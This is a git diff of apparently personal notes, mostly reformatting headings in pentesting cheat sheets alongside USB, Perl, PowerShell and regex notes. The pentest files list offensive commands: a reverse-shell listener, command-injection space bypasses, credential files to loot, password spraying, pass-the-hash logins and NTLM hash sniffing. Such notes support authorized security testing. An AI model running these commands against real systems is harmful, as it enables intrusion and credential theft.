Systems Hungarian notation (with the data type prefixes). The structure of the descriptors is standarized as well. Not all fields are required to be filled out. + +> NOTE: [Descriptor field types](https://www.engineersgarage.com/usb-descriptors-and-their-types-part-3-6/). + +Descriptors are structured in the tree hierarchy: + +1. Device Descriptor +2. Configuration Descriptor +3. Interface Descriptor +4. Endpoint Descriptor + +### 2.1. Device Descriptor +The most general descriptor - root descriptor of all other descriptors. It must be present on every single USB device. It provides many useful product-specific information which are used by an OS to match proper driver for the device. + +> NOTE: USB Vendor ID is unique and it's sold for 5000$ USD per year. Product ID is a unique identifier for this specific device of the vendor. + +```bash +bcdUSB # USB protocol version +idVendor # Unique vendor ID +idProduct # Unique product ID +bNumConfigurations # Num of configuration descriptions present +``` + +### 2.2. Configuration Descriptor +Usually there is only one configuration descriptor. If there is more, only one configuration can be used at once. Different configurations might specify different ways of powering the device (e.g. with USB or with external power source). + +```bash +bConfigurationValue # Configuration ID +bNumInterfaces # Num of interface descriptions present +``` + +### 2.3. Interface Descriptor +USB device internally has a bunch of **interfaces**. The interface provides high level functionality of the device. Each interface can be controlled independantely. A webcam (USB device) might consist of a camera and a microphone - using interfaces you are able to access them separately. + +It's common to write seperate drivers for different interfaces. It works quite like different devices. + +```bash +bInterfaceNumber # Interface ID +bNumEndpoints # Num of endpoint descriptions present +``` + +### 2.4. Endpoint Descriptor +The interface consists of **endpoints**. The endpoint is a place where you can send a message to or from. It's kinda like a port to communicate with interface. When a software communicate with an USB device, in fact it talks to the different endpoints. There are two types of them: IN and OUT. There are considered always from the host (PC) perspective. An OUT endpoint is used when the host wants to send something to the device. An IN endpoint is used when the device sends something to the host. + +IN packet from the host is the request of some data from the device. The host is always the site that initializes and requests things. There is no standard interrupt model, that the device can interrupt the host and bring its attention. Always the host asks asks for data from the device. + +Each endpoint handles specific transfer type: + +- CONTROL - device enumeration, configuration and control operations with small data (up to 64 bytes) and guaranteed delivery (error checking and retransmission). It's the only transfer that has structured data described in the spec. +- INTERRUPT - periodic, small and low-latency data communication (up to 64 bytes per payload). +- BULK - large-volume data transfer in a non-time-sensitive manner (printers, external storage devices). +- ISOCHRONOUS - continous flow of data without error checking or retransmission (video or audio streaming). + +#### 2.4.1. Endpoint 0 +Endpoint 0 is a special endpoint in USB communication that is used for device enumeration and CONTROL transfers. It is not explicitly defined within the descriptor structure, but rather it is implicitly associated with the device itself. It must be present on every USB device. It's placed outside of the descriptors hierarchy - it must work before any hierarchy is actualy provided to the host. + +There is only one bidirectional Endpoint 0 (it handles IN and OUT transfers) per device. It's so default that it's not even explicitly listed in in the descriptors tree (nor in the `lsusb -v` output). diff --git a/_notes/pentesting/linux.md b/_notes/pentesting/linux.md index 7841af7..85e8c33 100644 --- a/_notes/pentesting/linux.md +++ b/_notes/pentesting/linux.md @@ -2,13 +2,38 @@ title: Linux pentesting notes --- -## Links, sources, wikis, tricks +- [1. Links, sources, wikis, tricks](#1-links-sources-wikis-tricks) +- [2. Quick tools](#2-quick-tools) +- [3. Kali Linux resources](#3-kali-linux-resources) + - [3.1. Wordlists](#31-wordlists) + - [3.2. Binaries](#32-binaries) +- [4. Remote password bruteforcing](#4-remote-password-bruteforcing) +- [5. Exploitation](#5-exploitation) + - [5.1. Reverse shells](#51-reverse-shells) + - [5.2. Exploits](#52-exploits) + - [5.2.1. Searchsploit](#521-searchsploit) + - [5.2.2. Metasploit](#522-metasploit) + - [5.3. MySQL](#53-mysql) + - [5.3.1. SqlMap](#531-sqlmap) + - [5.3.1.1. Custom middleware](#5311-custom-middleware) + - [5.4. AJP - Apache JServ Protocol](#54-ajp---apache-jserv-protocol) +- [6. Post-exploitation](#6-post-exploitation) + - [6.1. Interesting files to loot](#61-interesting-files-to-loot) + - [6.2. Shell tricks](#62-shell-tricks) + - [6.2.1. Spaces without actual _space_ character](#621-spaces-without-actual-space-character) + - [6.3. Privilege escalation](#63-privilege-escalation) + - [6.3.1. Shell upgrading](#631-shell-upgrading) + - [6.3.2. Weakness discovering](#632-weakness-discovering) + - [6.4. Hash cracking](#64-hash-cracking) + - [6.5. Connecting](#65-connecting) + +## 1. Links, sources, wikis, tricks - [Ired](https://www.ired.team/) - red-team tricks - [HackTricks](https://book.hacktricks.xyz/) - hack tricks - [ss64](https://ss64.com/) - all Powershell and Linux commands -## Quick tools +## 2. Quick tools ```bash python3 -m http.server # Simple HTTP server @@ -18,9 +43,9 @@ echo "str" | base64 # Encode with base64 echo "str" | base64 -d # Decode with base64 ``` -## Kali Linux resources +## 3. Kali Linux resources -### Wordlists +### 3.1. Wordlists ```bash /usr/share/wordlists # Location of wordlists @@ -28,13 +53,13 @@ echo "str" | base64 -d # Decode with base64 /usr/share/seclists # Well grouped wordlists ``` -### Binaries +### 3.2. Binaries ```bash sqlitebrowser # Nice browser for SQLite DB ``` -## Remote password bruteforcing +## 4. Remote password bruteforcing ```bash # Check all combinations (protocols: ssh, smb, mssql, ldap, winrm) @@ -44,9 +69,9 @@ crackmepexec -u -p hydra -L -P ftp:// ``` -## Exploitation +## 5. Exploitation -### Reverse shells +### 5.1. Reverse shells [RevShells](https://www.revshells.com/) - reverse shells generator ```bash @@ -54,9 +79,9 @@ nc -lvnp # Listener rlwrap nc [...] # Fix arrows functionality ``` -### Exploits +### 5.2. Exploits -#### Searchsploit +#### 5.2.1. Searchsploit ```bash searchsploit --update # Update local DB @@ -65,7 +90,7 @@ searchsploit -m # Copy exploit to cwd usr/share/exploitdb/exploits/ # Default path of Exploit-DB ``` -#### Metasploit +#### 5.2.2. Metasploit ```bash msfdb init # Init Metasploit DB @@ -83,7 +108,7 @@ msfconsole # Run metasploit > sessions # Restore session ``` -### MySQL +### 5.3. MySQL ```bash mysql -h -u [-p] # Connect to SQL server @@ -94,7 +119,7 @@ mysql -h -u [-p] # Connect to SQL server > show grants; # Get current permissions ``` -#### SqlMap +#### 5.3.1. SqlMap [List of MySQL DBMS privileges.](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html) ```bash @@ -124,22 +149,20 @@ sqlmap : --random-agent # Random user-agent ``` -##### Custom middleware +##### 5.3.1.1. Custom middleware To extend SqlMap capabilities you can write a simple HTTP server as a middleware. It gets payloads from SqlMap and passes them further doing some magic on the fly. With the middleware you can help SqlMap with complex behaviours and responses. -### AJP - Apache JServ Protocol +### 5.4. AJP - Apache JServ Protocol ```bash nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -Pn -p 8009 ``` -#### Known exploits +> Known exploit: GhostCat (LFI) -- GhostCat (LFI) +## 6. Post-exploitation -## Post-exploitation - -### Interesting files to loot +### 6.1. Interesting files to loot ```bash # System configs @@ -197,10 +220,10 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -Pn -p 8009 /proc/self/environ # Environment variables ``` -### Shell tricks +### 6.2. Shell tricks This tricks might be used to bypass some command-injection filters etc. -#### Spaces without actual _space_ character +#### 6.2.1. Spaces without actual _space_ character ```bash {echo,test1,test2} == echo 'test1' 'test2' @@ -208,11 +231,11 @@ echo${IFS}test1 == echo 'test1 CMD=$'\x20test1\x20test2';echo$CMD == echo 'test1' 'test2' ``` -### Privilege escalation +### 6.3. Privilege escalation [GTFO Bins](https://gtfobins.github.io/) - commands to perform priv-escalation. -#### Shell upgrading +#### 6.3.1. Shell upgrading ```bash which python python2 python3 @@ -220,7 +243,7 @@ python3 -c "import pty; pty.spawn('/usr/bin/bash')" script /dev/null -c bash ``` -#### Weakness discovering +#### 6.3.2. Weakness discovering ```bash sudo -ll # List user's privileges @@ -230,7 +253,7 @@ w # Show logged-in users last # Show last logged-in users ``` -### Hash cracking +### 6.4. Hash cracking - [CrackStation](https://crackstation.net/) - crack common MD5 hashes @@ -245,16 +268,9 @@ hashcat -m 0 # Crack hash (MD5 mode) hashcat -h | grep "Hash modes" -A400 # Get all modes ``` -### Connecting - -#### private key - -```bash -ssh @ -i # Auth by private key -``` - -#### FTP as a guest +### 6.5. Connecting ```bash -ftp anonymous@ # Connect to FTP (as guest) +ssh @ -i # SSH using private key +ftp anonymous@ # FTP as a guest ``` diff --git a/_notes/password-cracking.md b/_notes/pentesting/password-cracking.md similarity index 57% rename from _notes/password-cracking.md rename to _notes/pentesting/password-cracking.md index 80289ab..b1f54a5 100644 --- a/_notes/password-cracking.md +++ b/_notes/pentesting/password-cracking.md @@ -2,27 +2,37 @@ title: Password cracking notes --- -## Default password resources +- [1. Default password resources](#1-default-password-resources) +- [2. Weak and leaked password wordlists](#2-weak-and-leaked-password-wordlists) +- [3. Bash tricks](#3-bash-tricks) +- [4. Passwords list generators](#4-passwords-list-generators) + - [4.1. Cewl](#41-cewl) + - [4.2. Crunch](#42-crunch) +- [5. Offline hash cracking](#5-offline-hash-cracking) + - [5.1. Dictionary attack](#51-dictionary-attack) +- [6. Online password attacks](#6-online-password-attacks) -* [cirt.net](https://cirt.net/passwords) -* [default-password.info](https://default-password.info/) -* [datarecovery.com](https://datarecovery.com/rd/default-passwords/) +## 1. Default password resources -## Weak and leaked password wordlists +- [cirt.net](https://cirt.net/passwords) +- [default-password.info](https://default-password.info/) +- [datarecovery.com](https://datarecovery.com/rd/default-passwords/) -* [SecLists/Passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -* [skullsecurity.org](https://wiki.skullsecurity.org/index.php?title=Passwords) +## 2. Weak and leaked password wordlists -## Bash tricks +- [SecLists/Passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords) +- [skullsecurity.org](https://wiki.skullsecurity.org/index.php?title=Passwords) + +## 3. Bash tricks ```bash cat file1.txt file2.txt > combined.txt # Combine password files sort combined.txt | uniq -u > cleaned.txt # Remove duplicates ``` -## Passwords list generators +## 4. Passwords list generators -### Cewl +### 4.1. Cewl `Cewl` tool crawles through a website and generates a wordlist specific to a given target. The generated wordlist might include employee names, locations and brand names. ```bash @@ -33,13 +43,13 @@ cewl # Url to be crawled ``` -### Crunch +### 4.2. Crunch `Crunch` tool generates a list of strings based on specified parameters and patterns (`-t `). -* @ - lower case alpha char -* , - upper case alpha char -* % - numeric char -* ^ - special char (spaces included) +- @ - lower case alpha char +- , - upper case alpha char +- % - numeric char +- ^ - special char (spaces included) ```bash crunch -o @@ -49,17 +59,17 @@ crunch 2 4 abcd12345 -o out.txt crunch 2 4 -t pass%% -o out.txt ``` -## Offline hash cracking +## 5. Offline hash cracking **NOTE**: To determine a hash format the command: `hashid -m ` can be used. `-m` flag prints a corresponding Hashcat mode number. -### Dictionary attack +### 5.1. Dictionary attack ```bash hashcat -a 0 -m ``` -## Online password attacks +## 6. Online password attacks `Hydra` is a versatile tool to perform online password attacks. It's able to crack usernames and passwords to many different services: `ftp`, `smtp`, `ssh`, `http`. diff --git a/_notes/pentesting/reconnaissance.md b/_notes/pentesting/reconnaissance.md index b6ae20d..9214bd0 100644 --- a/_notes/pentesting/reconnaissance.md +++ b/_notes/pentesting/reconnaissance.md @@ -2,27 +2,40 @@ title: Reconnaissance notes --- -## Info gathering +- [1. Info gathering](#1-info-gathering) +- [2. Port scanning](#2-port-scanning) +- [3. Network host discovering](#3-network-host-discovering) +- [4. DNS records gathering](#4-dns-records-gathering) +- [5. Subdomains / vhost discovering](#5-subdomains--vhost-discovering) + - [5.1. DNS server bruteforcing](#51-dns-server-bruteforcing) + - [5.2. Bruteforcing with wfuzz](#52-bruteforcing-with-wfuzz) + - [5.3. Bruteforcing with ffuf](#53-bruteforcing-with-ffuf) + - [5.4. VHOSTs discovering](#54-vhosts-discovering) +- [6. Google dorks](#6-google-dorks) +- [7. Other search engines](#7-other-search-engines) +- [8. Recon-NG](#8-recon-ng) + +## 1. Info gathering ```bash whois # Domain registrar info ``` -## Port scanning +## 2. Port scanning ```bash nmap -sS -Pn -p 1-1000 # Fast TCP port scan nmap -sV -sC -p 80,443 # Port service discovery ``` -## Network host discovering +## 3. Network host discovering ```bash netdiscover -i # Passive/active ARP scan arp-scan -l # Fast ARP scan ``` -## DNS records gathering +## 4. DNS records gathering Good results gives `msf auxiliary/gather/enum_dns` but it is worth checking out other tools as the results may vary. ```bash @@ -33,16 +46,16 @@ nslookup host ``` -## Subdomains / vhost discovering +## 5. Subdomains / vhost discovering There are situations where there is no DNS server. Then you have to brute force simply routing to the target ip manually (using the proxy parameter). Probably all sub-domains will then respond with code 200. Our correct one may have a slightly different body or different response code. -### DNS server bruteforcing +### 5.1. DNS server bruteforcing ```bash gobuster dns -d -r -w ``` -### Bruteforcing with wfuzz +### 5.2. Bruteforcing with wfuzz ```bash wfuzz @@ -53,7 +66,7 @@ wfuzz -c # Output with colors ``` -### Bruteforcing with ffuf +### 5.3. Bruteforcing with ffuf ```bash ffuf @@ -66,7 +79,7 @@ ffuf -ac # Auto-calibrate filtering ``` -### VHOSTs discovering +### 5.4. VHOSTs discovering It works even without DNS service. @@ -74,7 +87,7 @@ It works even without DNS service. gobuster vhost -u -w ``` -## Google dorks +## 6. Google dorks [List of interesting dorks for pentesters.](https://www.exploit-db.com/google-hacking-database) ```text @@ -86,7 +99,7 @@ intitle:MyTitle # With specific phrase in title inurl:example # With specific phrase in URL ``` -## Other search engines +## 7. Other search engines - [ViewDNS](https://viewdns.info/) - [Threat Intelligence Platform](https://threatintelligenceplatform.com/) @@ -94,7 +107,7 @@ inurl:example # With specific phrase in URL - [Shodan](https://www.shodan.io/) - [Crt.sh](https://crt.sh/) -## Recon-NG +## 8. Recon-NG ```bash recon-ng -w # Start with :workspace loaded diff --git a/_notes/pentesting/windows.md b/_notes/pentesting/windows.md index fd3bd4b..df15f39 100644 --- a/_notes/pentesting/windows.md +++ b/_notes/pentesting/windows.md @@ -2,36 +2,70 @@ title: Windows pentesting notes --- -## Kali Linux +- [1. Kali Linux](#1-kali-linux) +- [2. Important directories](#2-important-directories) +- [3. MSRPC](#3-msrpc) + - [3.1. Automatic enumeration](#31-automatic-enumeration) +- [4. MSSQL](#4-mssql) + - [4.1. Syntax](#41-syntax) + - [4.2. Manual enumeration](#42-manual-enumeration) +- [5. SMB (139, 445)](#5-smb-139-445) + - [5.1. Enumeration](#51-enumeration) + - [5.2. Password spraying](#52-password-spraying) + - [5.3. Connection / shell](#53-connection--shell) +- [6. Kerberos](#6-kerberos) +- [7. WinRM](#7-winrm) +- [8. NTLM](#8-ntlm) + - [8.1. NT hash stealing](#81-nt-hash-stealing) +- [9. LDAP](#9-ldap) +- [10. WMI](#10-wmi) +- [11. IIS](#11-iis) +- [12. FTP](#12-ftp) +- [13. PXE boot image](#13-pxe-boot-image) +- [14. Reconnaissance](#14-reconnaissance) + - [14.1. NFS](#141-nfs) + - [14.2. NetBIOS](#142-netbios) + - [14.3. SNMP](#143-snmp) + - [14.4. LDAP](#144-ldap) +- [15. Post-exploitation](#15-post-exploitation) + - [15.1. CMD and Powershell](#151-cmd-and-powershell) + - [15.2. Active Directory information gathering](#152-active-directory-information-gathering) + - [15.2.1. CMD](#1521-cmd) + - [15.2.2. Powershell](#1522-powershell) + - [15.3. Privilege escalation](#153-privilege-escalation) + - [15.3.1. Weakness discovering](#1531-weakness-discovering) + - [15.3.2. Run command as a different user](#1532-run-command-as-a-different-user) + +## 1. Kali Linux ```bash /usr/share/windows-resources # Tools for Windows /usr/share/peass/winpeas # WinPeas binary ``` -## Important directories +## 2. Important directories ```powershell %SystemDrive%\inetpub\ # IIS data and sites c:/WINDOWS/system32/drivers/etc/services # List of services and ports ``` -## MSRPC +## 3. MSRPC MSRPC can be used to enumerate internal OS information. -### Automatic enumeration +### 3.1. Automatic enumeration ```powershell enum4linux -a -u -p # Enumerate all info ``` -## MSSQL +## 4. MSSQL ```bash impacket-mssqlclient "/:@" ``` -### Syntax +### 4.1. Syntax ```sql select @@version -- Get OS version @@ -43,7 +77,7 @@ use -- Use database (context) select TABLE_NAME from INFORMATION_SCHEMA.TABLES ``` -### Manual enumeration +### 4.2. Manual enumeration ```powershell rpcclient -U "" # Login anonymously @@ -61,12 +95,12 @@ rpcclient -U "\\" # Login with credentials > getusername # Get current username ``` -## SMB (139, 445) -SMB can be used to enumerate OS info (domain, NetBIOS, forest) +## 5. SMB (139, 445) +SMB can be used to enumerate OS info (domain, NetBIOS, forest). -### Enumeration +### 5.1. Enumeration -```powershell +```bash nmap -p 445 --script=smb-os-discovery nbtscan nmblookup -A @@ -79,15 +113,15 @@ smbclient -L //ip> smbmap -H ``` -### Password spraying +### 5.2. Password spraying -```powershell +```bash crackmapexec smb -u -p --continue-on-success ``` -### Connection / shell +### 5.3. Connection / shell -```powershell +```bash # Connect to share by credentials smbclient //ip>/ [-U "\\%"] > get # Get file @@ -104,13 +138,11 @@ xdg-open smb:/// impacket-smbexec /[:password]@ ``` -### Known exploits - -- EternalBlue MS17-010 +> Known exploit: EternalBlue MS17-010 -## Kerberos +## 6. Kerberos -```powershell +```bash # Kerberos can be used to enumerate info and bruteforce passwords kerbrute username -d --dc @@ -118,22 +150,22 @@ kerbrute username -d --dc impacket-netview -no-pass ``` -## WinRM +## 7. WinRM -```powershell +```bash evil-winrm -i -u -H # Login by hash evil-winrm -i -u -p # Login by password ``` -## NTLM +## 8. NTLM -```powershell +```bash responder -I -dw # Sniff NTLM auth attempt hashcat -m 5600 # Crack NTLMv1 hash hashcat -m 5600 # Crack NTLMv2 hash ``` -### NT hash stealing +### 8.1. NT hash stealing [More places to steal NTLM.](https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds) @@ -141,38 +173,38 @@ Places and tricks to steal NT hashes. The trick is to force victim server to aut - `desktop.ini` - can contain `///` OR `\\\` line; often available on SMB shares. -## LDAP +## 9. LDAP -```powershell +```bash responder -I -dw # Sniff LDAP auth attempt ``` -## WMI +## 10. WMI -```powershell +```bash # Try to get shell via WMI impacket-wmiexec /[:password]@ ``` -## IIS +## 11. IIS TBD -## FTP +## 12. FTP TBD -## PXE boot image +## 13. PXE boot image [Powershell script for extracting interesting data](https://github.com/wavestone-cdt/powerpxe) from PXE. -## Reconnaissance +## 14. Reconnaissance -### NFS +### 14.1. NFS ```bash showmount -e # List NFS shares mount -t nfs :/ # Mount NFS share ``` -### NetBIOS +### 14.2. NetBIOS ```bash nmblookup -A @@ -180,7 +212,7 @@ nbtscan / nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` -### SNMP +### 14.3. SNMP `public` is common default "public string" for SNMP service. ```powershell @@ -189,9 +221,9 @@ snmpwalk -v -c -m + # Enumerate MIB data [...] NET-SNMP-EXTEND-MBI::nsExtendObjects # Detect SNMP extend ``` -### LDAP +### 14.4. LDAP -```powershell +```bash # Enumerate AD objects anonymously ldapsearch ldap://: -s base -b '' "(objectClass=*)" "*" + # @@ -199,9 +231,9 @@ ldapsearch ldap://: -s base -b '' "(objectClass=*)" "*" + # ldapsearch -x -H ldap://: -D "\\" -w ``` -## Post-exploitation +## 15. Post-exploitation -### CMD and Powershell +### 15.1. CMD and Powershell - [ss64](https://ss64.com/) - powershell and CMD commands cheat-sheet @@ -266,9 +298,9 @@ findstr /si '' C:\tools\* ``` -### Active Directory information gathering +### 15.2. Active Directory information gathering -#### CMD +#### 15.2.1. CMD ```powershell net user /domain # List all AD users @@ -279,7 +311,7 @@ net accounts /domain # Get AD password policy systeminfo | findstr Domain # Get AD domain name ``` -#### Powershell +#### 15.2.2. Powershell ```powershell # IMPORTANT: `import-module ActiveDirectory` might be required. @@ -298,8 +330,9 @@ get-aduser -filter * -searchbase get-adgroup -identity -server -properties * ``` -### Privilege escalation -**Weakness discovering** +### 15.3. Privilege escalation + +#### 15.3.1. Weakness discovering [Seatbelt](https://github.com/GhostPack/Seatbelt) - Windows security enumeration script ```powershell @@ -308,7 +341,7 @@ whoami /groups # List groups of user winpeas.exe # Enumerate potential findings ``` -**Run command as a different user** (with AD credentials) +#### 15.3.2. Run command as a different user There are some commands that don't have option to specify domain credentials with them. The workaround of this problem is to start new local shell using target domain account and run the mentioned commands as target user. There is Windows has a built-in `runas.exe` binary. It allows to run any command as a different user. This command doesn't authenticate credentials against a DC (they are only injected into memory). The `/netonly` flag makes credentials to be used everywhere to domain authentication. Sometimes the binary might not be present on a real server. diff --git a/_notes/pentesting/wordlists.md b/_notes/pentesting/wordlists.md index 0d1d080..e408ac8 100644 --- a/_notes/pentesting/wordlists.md +++ b/_notes/pentesting/wordlists.md @@ -2,8 +2,15 @@ title: List of pentest wordlists --- -## Security wordlists +- [1. Paths](#1-paths) +- [2. Payloads](#2-payloads) -* [AssetNote](https://wordlists-cdn.assetnote.io/data/) - huge, updated wordlists API, soft-specific (Nginx, Apache), vhosts, php, txt, +## 1. Paths + +- [AssetNote](https://wordlists-cdn.assetnote.io/data/) - huge, updated wordlists API, soft-specific (Nginx, Apache), vhosts, php, txt, js, parameters. -* [SecLists](https://github.com/danielmiessler/SecLists) - many well-grouped wordlists. +- [SecLists](https://github.com/danielmiessler/SecLists) - many well-grouped wordlists. + +## 2. Payloads + +- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master) diff --git a/_notes/pentesting/xss.md b/_notes/pentesting/xss.md index e31eef5..3637975 100644 --- a/_notes/pentesting/xss.md +++ b/_notes/pentesting/xss.md @@ -2,9 +2,18 @@ title: XSS notes --- -## DOM-based XSS +- [1. DOM-based XSS](#1-dom-based-xss) + - [1.1. Sources](#11-sources) + - [1.2. Sinks](#12-sinks) + - [1.2.1. URL injection](#121-url-injection) + - [1.2.2. DOM injection](#122-dom-injection) + - [1.2.3. Attribute injection](#123-attribute-injection) + - [1.2.4. Code injection](#124-code-injection) + - [1.2.5. Open redirect](#125-open-redirect) -### Sources +## 1. DOM-based XSS + +### 1.1. Sources ```javascript window.location @@ -23,9 +32,9 @@ input.value // TBD: Cookies ``` -### Sinks +### 1.2. Sinks -#### URL injection +#### 1.2.1. URL injection ```javascript window.location.href = x @@ -34,7 +43,7 @@ window.location.replace(x) document.domain = x ``` -#### DOM injection +#### 1.2.2. DOM injection ```javascript element.innerHTML = x @@ -44,7 +53,7 @@ window.write(x) document.writeln(x) ``` -#### Attribute injection +#### 1.2.3. Attribute injection ```javascript el.setAttribute(attr, x) @@ -54,7 +63,7 @@ element.onevent = x el.style.cssText = x ``` -#### Code injection +#### 1.2.4. Code injection ```javascript eval(x) @@ -66,7 +75,7 @@ execCommand(x) execScript(x) ``` -#### Open redirect +#### 1.2.5. Open redirect ```javascript history.go(-1) diff --git a/_notes/perl.md b/_notes/perl.md index 997c06e..b8c99c5 100644 --- a/_notes/perl.md +++ b/_notes/perl.md @@ -2,7 +2,11 @@ title: Perl one-liners notes --- -## Manual +- [1. Basics](#1-basics) +- [2. Regex](#2-regex) +- [3. Examples](#3-examples) + +## 1. Basics ```bash # Basic flags @@ -67,7 +71,7 @@ perl -F: -lnE 'say $F[1]' perl -E '$words = `wc -w text.txt`; say $words' ``` -## Regex +## 2. Regex ```bash # /REGEXP/FLAGS is a shortcut for $_ =~ m/REGEXP/FLAGS @@ -82,7 +86,7 @@ perl -lne 'print if $_ !~ m/e/' perl -lne '/(\d+):(\w+)/; print $1, $2' ``` -## Examples +## 3. Examples ```bash # List all users with corresponding groups diff --git a/_notes/powershell.md b/_notes/powershell.md index 75dda05..357bad0 100644 --- a/_notes/powershell.md +++ b/_notes/powershell.md @@ -2,29 +2,40 @@ title: Powershell notes --- -## What is Powershell & cmdlets? +- [1. What is Powershell \& cmdlets?](#1-what-is-powershell--cmdlets) + - [1.1. PowerShell scripts](#11-powershell-scripts) + - [1.2. What is a cmdlet?](#12-what-is-a-cmdlet) +- [2. Pipeline](#2-pipeline) +- [3. Commands / cmdlets](#3-commands--cmdlets) +- [4. Scripting](#4-scripting) + - [4.1. Variables](#41-variables) + - [4.2. If statement](#42-if-statement) + - [4.2.1. Operators](#421-operators) + - [4.3. Loops](#43-loops) + +## 1. What is Powershell & cmdlets? Powershell (PS) is the Windows Scripting Language built using the **.NET** framework. PS is able to execute .NET functions directly from its shell. PS commands are called **_cmdlets_** - most of them is written in .NET. The output of _cmdlets_ are **objects**. This approach makes PS shell modular - it's easy to apply some actions on the output objects or pass them to another _cmdlet_. Format of _cmdlet_ command: **Verb**-**Noun**. Common verbs: -* Get -* Start -* Stop -* Read -* Write -* New -* Out -* Invoke +- Get +- Start +- Stop +- Read +- Write +- New +- Out +- Invoke [All _cmdlet_ verbs.](https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands?view=powershell-7) -### PowerShell scripts +### 1.1. PowerShell scripts _Powershell ISE_ is the Powershell Text Editor most often used to write longer PowerShell scripts. Most common extension of PowerShell files is `.ps1`. -### What is a cmdlet? +### 1.2. What is a cmdlet? Cmdlets (pronounced: command-lets) are native PS commands, not stand-alone executables. Cmdlets are collected into **PowerShell modules** that can be loaded on demand. They can be written in any compiled .NET language or in the PS scripting language itself. -## Pipeline +## 2. Pipeline To pass output from one cmdlet to another the pipline is used. Instead of passing text, PowerShell passes an object to next cmdlet. Object contains methods and properties. Objects returned by the last command in a chain are printed out on the screen. ```powershell @@ -54,7 +65,7 @@ Operators: | Measure-Object ``` -## Commands / cmdlets +## 3. Commands / cmdlets > **NOTE**: Cmdlets and their parameters are case-insensitive. However, Microsoft generally recommends entering a PowerShell cmdlet (or a parameter) with the first letter of each word capitalized. ```powershell @@ -96,15 +107,15 @@ Get-CimInstace Win32_Service # List running services Get-CimInstace Win32_Process # List running processes ``` -## Scripting +## 4. Scripting -### Variables +### 4.1. Variables ```powershell $var = Get-NetTCPConnection # Save returned object into var ``` -### If statement +### 4.2. If statement ```powershell if ($obj1 - $obj2) { @@ -112,7 +123,7 @@ if ($obj1 - $obj2) { } ``` -#### Operators +#### 4.2.1. Operators [Full list of operators](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators?view=powershell-7.3&viewFallbackFrom=powershell-6) > NOTE: String comparisions are case-insensitive unless you use the explicit case-sensitive operator. To make a comparison operator case-sensitive, add a `c` after the `-` (`-ceq` is the case-sensitive version of `-eq`). @@ -129,7 +140,7 @@ Most common: -match, -notmatch # String regex matching ``` -### Loops +### 4.3. Loops ```powershell # Iterate over set of objects diff --git a/_notes/regex.md b/_notes/regex.md index 81c9bab..84251e4 100644 --- a/_notes/regex.md +++ b/_notes/regex.md @@ -2,7 +2,14 @@ title: Regex notes --- -##### Special characters +- [1. Special characters](#1-special-characters) +- [2. Char selection](#2-char-selection) +- [3. Repetition (after-sign)](#3-repetition-after-sign) +- [4. Grouping (word-selection)](#4-grouping-word-selection) +- [5. Lookahead / lookbehind](#5-lookahead--lookbehind) +- [6. Modifiers (flags)](#6-modifiers-flags) + +## 1. Special characters ```bash ^ # Beginning of the line @@ -17,7 +24,7 @@ $ # End of the line \S # Non-space ``` -##### Letter selection +## 2. Char selection ```bash [a-z] # Any letter from 'a' to 'z' @@ -26,7 +33,7 @@ $ # End of the line [^az] # not 'a' and not 'z' ``` -##### Repetition (after-sign) +## 3. Repetition (after-sign) ```bash + # One or more times @@ -37,7 +44,7 @@ $ # End of the line {7,9} # Between 7 to 9 times ``` -##### Grouping (word-selection) +## 4. Grouping (word-selection) ```bash (test)-\1 # Parse `test-test` @@ -46,7 +53,7 @@ $ # End of the line (test|TeSt) # `test` or `TeSt` ``` -##### Lookahead / lookbehind +## 5. Lookahead / lookbehind ```bash # Lookahead (if something is after) @@ -58,7 +65,7 @@ $ # End of the line (?